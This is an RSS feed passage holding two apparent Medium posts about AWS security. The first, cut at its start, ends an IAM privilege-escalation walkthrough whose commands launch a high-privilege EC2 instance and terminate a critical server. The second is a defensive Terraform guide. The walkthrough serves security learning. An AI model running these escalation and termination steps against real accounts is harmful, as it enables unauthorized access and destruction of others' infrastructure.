Arn=arn:aws:iam::560807422660:instance-profile/&lt;PROFILE_NAME&gt; --key-name pwned --profile &lt;YOUR_USER&gt; --subnet-id &lt;YOUR_SUBNET_ID&gt; --security-group-ids &lt;YOUR_SG_ID&gt; --region us-east-1</pre><p>10. Now ssh to your new machine.</p><pre>$ ssh -i pwned.pem ubuntu@&lt;YOUR_PUBLIC_DNS/IP&gt;</pre><p>11. Install awscli and describe instances.</p><pre>$ sudo apt-get update<br>$ sudo apt-get install awscli<br>$ aws ec2 describe-instances --region us-east-1 | grep Ins<br>            &quot;Instances&quot;: [<br>                    &quot;InstanceId&quot;: &quot;i-xxx-xxx-xxx&quot;,<br>                    &quot;InstanceType&quot;: &quot;t2.micro&quot;,<br>                    &quot;IamInstanceProfile&quot;: {<br>            &quot;Instances&quot;: [<br>                    &quot;InstanceId&quot;: &quot;i-yyy-yyy-yyy&quot;,<br>                    &quot;InstanceType&quot;: &quot;t2.micro&quot;,<br>                            &quot;Value&quot;: &quot;super-critical-security-server&quot;<br>            &quot;Instances&quot;: [<br>                    &quot;InstanceId&quot;: &quot;i-zzz-zzz-zzz&quot;,<br>                    &quot;InstanceType&quot;: &quot;t2.micro&quot;,<br>                    &quot;IamInstanceProfile&quot;: {</pre><p>12. Lets delete the original “super-critical-security-server” instance with the high privileges so we could run limitless 🤣</p><pre>$ aws ec2 terminate-instances --instance-ids i-yyy-yyy-yyy --region us-east-1<br><br>{<br>    &quot;TerminatingInstances&quot;: [<br>        {<br>            &quot;CurrentState&quot;: {<br>                &quot;Code&quot;: 32,<br>                &quot;Name&quot;: &quot;shutting-down&quot;<br>            },<br>            &quot;InstanceId&quot;: &quot;i-07a593b5c9ea0fc2a&quot;,<br>            &quot;PreviousState&quot;: {<br>                &quot;Code&quot;: 16,<br>                &quot;Name&quot;: &quot;running&quot;<br>            }<br>        }<br>    ]<br>}</pre><blockquote><strong>Takeout’s:<br></strong>Keep in mind! EC2’s have a profile which contains policies and roles, like users do. Once we listed them both, we found an extra super role and could remove the low, and add the high role to be attached to the instance profile of the EC2 associated with our user. We couldn&#39;t delete that instance profile but the high role we’ve attached, allowed us to create a new machine/instance profile. So we added a new machine with the same security group, and the same subnet. Our machine has a powerful role, so it allowed us to list other instances in that vpc. Now we could remove the “super-critical-security-server” and do whatever you want.</blockquote><h4><strong>Gold Concepts:</strong></h4><p><strong>Let me shortly describe the concept of IAM for you:</strong></p><ol><li><strong><em>Role</em></strong><em>: Think of a role as a title that can be assigned to either a user or a resource. It’s how we often describe responsibilities or identities, similar to how someone might put “Software Engineer &amp; a full-time Dad 😆” on their LinkedIn profile.</em></li><li><strong><em>Policy</em></strong><em>: A policy provides all the relevant details for that title or role. Just like an employment contract outlines a job’s position, salary, and responsibilities, a policy also defines what actions a user or resource is allowed to perform and where.</em></li><li><strong><em>Action</em></strong><em>: Actions are specific parts of the policy that detail what a user or resource can do in the AWS environment. For example, a Software Engineer may not be allowed to sleep during work hours, or they might have restricted access to an EC2 instance during weekends. These limitations or permissions are defined by actions within the policy.</em></li></ol><p><strong>Let me add a few more lines about recourses and users in AWS:</strong></p><ol><li><em>IAM roles and IAM users indeed share similarities. Both have permissions assigned through </em><strong><em>policies</em></strong><em>, essentially acting as “contracts” that dictate what </em><strong><em>actions </em></strong><em>they are authorized to perform within AWS. This means it’s possible to transfer or assign a user’s permissions to another, effectively changing their capabilities.</em></li><li><em>IAM roles can extend their utility beyond just IAM users. They can also be assumed by AWS resources, similar to how we observed in Scenario 6. This means that AWS resources, such as EC2 instances or Lambda functions, can temporarily take on the permissions and privileges associated with a specific IAM role, enabling them to carry out actions they wouldn’t otherwise have the authority to do</em></li></ol><h4>Popular tools:</h4><ul><li><a href="https://github.com/0xVariable/AWS-Security-Tools">AWS-Security-Tools</a>: provides a suite of tools and services for securing your AWS environment. This may include AWS Identity and Access Management (IAM), AWS Config, AWS CloudTrail, and AWS GuardDuty, among others.</li><li><a href="https://github.com/RhinoSecurityLabs/pacu">Paku</a>: an open-source AWS security testing tool. It’s designed for finding and managing AWS access keys that have been exposed through GitHub repositories. Paku can help organizations identify and remediate security risks related to leaked AWS credentials.</li><li><a href="https://github.com/nccgroup/ScoutSuite">ScoutSuite</a>: an open-source multi-cloud security auditing tool. While it can assess security configurations across various cloud platforms, including AWS, it’s not limited to AWS alone. ScoutSuite provides insights into potential security vulnerabilities and misconfigurations within your cloud infrastructure.</li><li><a href="https://github.com/prowler-cloud/prowler">prowler</a>: another open-source AWS security tool. It’s a command-line tool that automates security best practices checks across an AWS environment. Prowler checks for AWS security misconfigurations and compliance issues, helping organizations enhance their AWS security posture.</li><li><a href="https://github.com/nccgroup/PMapper">PMapper</a>: another open-source tool which helps identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It also simulates privilege escalation attack vectors made b an attacker to gain access to a resource or action in AWS.</li></ul><h4>Conclusion:</h4><p>While we’ve only highlighted a few instances, it’s crucial to grasp the importance of this methodology when searching for vulnerabilities in AWS accounts. So, don’t hesitate to put it to the test within your own environment. You might be genuinely surprised by the number of weaknesses you’ll uncover. Give it a shot! 🕵️‍♂️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29a1bdd19747" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ec2_secure]]></title>
            <link>https://medium.com/@practiccollie/ec2-secure-c32ea3d8049f?source=rss-9a046290e9d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c32ea3d8049f</guid>
            <dc:creator><![CDATA[Or Amar (Practiccollie)]]></dc:creator>
            <pubDate>Tue, 29 Aug 2023 10:10:19 GMT</pubDate>
            <atom:updated>2023-08-29T10:11:54.014Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8b8iv3TUmJAIreCJ" /><figcaption>Photo by <a href="https://unsplash.com/@danifunes?utm_source=medium&amp;utm_medium=referral">Daniel Funes Fuentes</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>A secure Terraform script to deploy your ec2 instance in AWS</h4><p>Ready to take control of your AWS infrastructure? You bet! In this blog, we’ve got your back with Terraform. We’ll teach you how to set up an EC2 instance lightning-fast with layers of security using other AWS goodies. No tech mumbo-jumbo here — just easy steps to help you build a strong and safe AWS home. Let’s dive in and level up your AWS game! 🏠🔒</p><h4>Clone the GitHub Repo and follow the security guidelines:</h4><p><a href="https://github.com/practiccollie/ec2_secure/tree/main">GitHub - practiccollie/ec2_secure</a></p><h4>VPC Resource:</h4><p>In short, imagine you’re creating a secure gated community for your cloud recourses. This community is your Virtual Private Cloud (VPC). It’s a fenced-off area where your resources can communicate with each other while being protected from the outside.</p><ol><li><strong>Subnets:</strong> Think of subnets as different zones in your neighborhood. Each zone has a specific purpose, like a “Residential” area for homes and a “Business” area for shops. Similarly, in a VPC, subnets group resources like instances for different tasks.</li><li><strong>Internet Gateway:</strong> Like a main entrance, an internet gateway connects your “community” of resources to the broader online world. It’s the pathway for your “residents” (devices) to access services and resources available in the larger “city” of the internet.</li><li><strong>Route Tables:</strong> Think of route tables as digital road signs inside your community. They ensure that network “traffic” knows where to go. For instance, a route table might direct “Business” subnet traffic to the “Business Center” and “Residential” subnet traffic to the “Residential Area.”</li><li><strong>Security Groups:</strong> Picture security groups as vigilant guards at each neighborhood entrance in your community. Like bouncers, they check who’s trying to enter (traffic) and decide if access should be granted or denied.</li></ol><p><strong><em>The following Terraform snippet is an example of a restricted inbound rule created:</em></strong></p><pre># Create a security group for your EC2<br>resource &quot;aws_security_group&quot; &quot;sg_name&quot; {<br>  name        = &quot;practiccollie-sg&quot;<br>  description = var.sg_description<br>  vpc_id      = aws_vpc.vpc_name.id<br><br>  ingress {<br>    description = &quot;SSH from my IP&quot;<br>    from_port   = 22<br>    to_port     = 22<br>    protocol    = &quot;tcp&quot;<br>    cidr_blocks = [&quot;YOUR IP/VPN ADRRESS/32&quot;]<br>  }<br><br>  egress {<br>    from_port   = 0<br>    to_port     = 0<br>    protocol    = &quot;-1&quot;<br>    cidr_blocks = [&quot;0.0.0.0/0&quot;]<br>  }<br><br>  tags = {<br>    Name = &quot;practiccollie-security-group&quot;<br>  }<br>}</pre><h4>EC2 Instance Resource:</h4><p>Imagine you’re building a neighborhood within your cloud community. Each house in the neighborhood represents an EC2 instance. These instances are like digital computers that can run software and do tasks. Just like you can have different types of houses (residential, business), you can choose different types of EC2 instances, or other resources, based on the tasks you need them to perform. It’s like having a neighborhood filled with houses that serve different purposes in your cloud community (VPC).</p><p><strong><em>The following Terraform snippet is an example of an ec2 instance created:</em></strong></p><pre># Create your EC2<br>resource &quot;aws_instance&quot; &quot;ec2_name&quot; {<br>  ami           = var.instance_ami<br>  instance_type = var.instance_type<br>  key_name      = &quot;practiccollie_ec2_key&quot;<br>  subnet_id     = aws_subnet.subnet_name.id<br>  associate_public_ip_address = true<br>  vpc_security_group_ids      = [aws_security_group.sg_name.id]<br><br>  tags = {<br>    Name = &quot;practiccollie-ec2&quot;<br>  }<br>}</pre><h4>IAM Resource:</h4><p>Moving forward, let’s discuss the one that holds all the cards, IAM (Identity and Access Management). Think of IAM as the master controller. When you’re configuring Role-Based Access Control (RBAC) for resources and users, understanding the ins and outs is crucial. Otherwise, things can get messy pretty quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*GFoXvzO0yjkZ7dD49cphkQ.gif" /></figure><p>Imagine your gated community has a central management office, that’s your IAM. This office holds the keys to who can access which areas. Just like you grant specific privileges to residents and visitors, IAM lets you control who can access your AWS resources. You’re the admin, setting up roles and permissions like a master organizer, ensuring the right people have the right access. If you don’t manage this well, it’s like letting anyone roam freely in your community, causing chaos and confusion.</p><p>Its essential to understand the difference between Actions, Roles and Policies when configuring IAM.</p><ul><li><strong>Actions: </strong>Think of actions as specific operations. They are like the actions residents can take within your community — such as entering the gym, accessing the pool, or attending events. In AWS, actions represent what users and services can do with resources.</li><li><strong>Roles: </strong>Roles are like special positions within your community. They define responsibilities and access levels. Just as you might have a “Security Officer” role, in AWS, roles grant temporary permissions to users or services. For example, an EC2 instance might need permission to access an S3 bucket.</li><li><strong>Policies: </strong>Policies are rulebooks that dictate what <strong>actions </strong>are allowed or denied. These are like the community rules you set — specifying who can use the gym during certain hours and who can’t. In AWS, policies define permissions and are attached to <strong>users, groups, or roles</strong>.</li></ul><p><strong><em>The following Terraform snippet is an example of a restricted policy created:</em></strong></p><pre># Define the IAM policy to allow specific actions on EC2 instances<br>data &quot;aws_iam_policy_document&quot; &quot;practiccollie_ec2_policy&quot; {<br>  statement {<br>    actions = [<br>      &quot;ec2:DescribeInstances&quot;,<br>      &quot;ec2:StartInstances&quot;,<br>      &quot;ec2:StopInstances&quot;,<br>      &quot;ec2:RebootInstances&quot;,<br>    ]<br><br>    resources = [&quot;*&quot;]<br>  }<br>}<br><br># Create the IAM policy<br>resource &quot;aws_iam_policy&quot; &quot;practiccollie_ec2_policy&quot; {<br>  name        = &quot;practiccollie-ec2-policy&quot;<br>  description = &quot;Policy to allow specific actions on EC2 instances&quot;<br>  policy      = data.aws_iam_policy_document.practiccollie_ec2_policy.json<br>}<br><br>resource &quot;aws_iam_user_policy_attachment&quot; &quot;practiccollie_ec2_policy_attachment&quot; {<br>  user       = data.aws_caller_identity.current.user_id<br>  policy_arn = aws_iam_policy.practiccollie_ec2_policy.arn<br>}</pre><h4>Conclusion</h4><p>Imagine that this is just one lonely resource to provision — that’s why it’s so ‘ec2_secure’! 😂 Now, picture the wild world of threat modeling in a massive, well-architected cloud setup. Stay tuned for my upcoming blog on that adventure! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c32ea3d8049f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>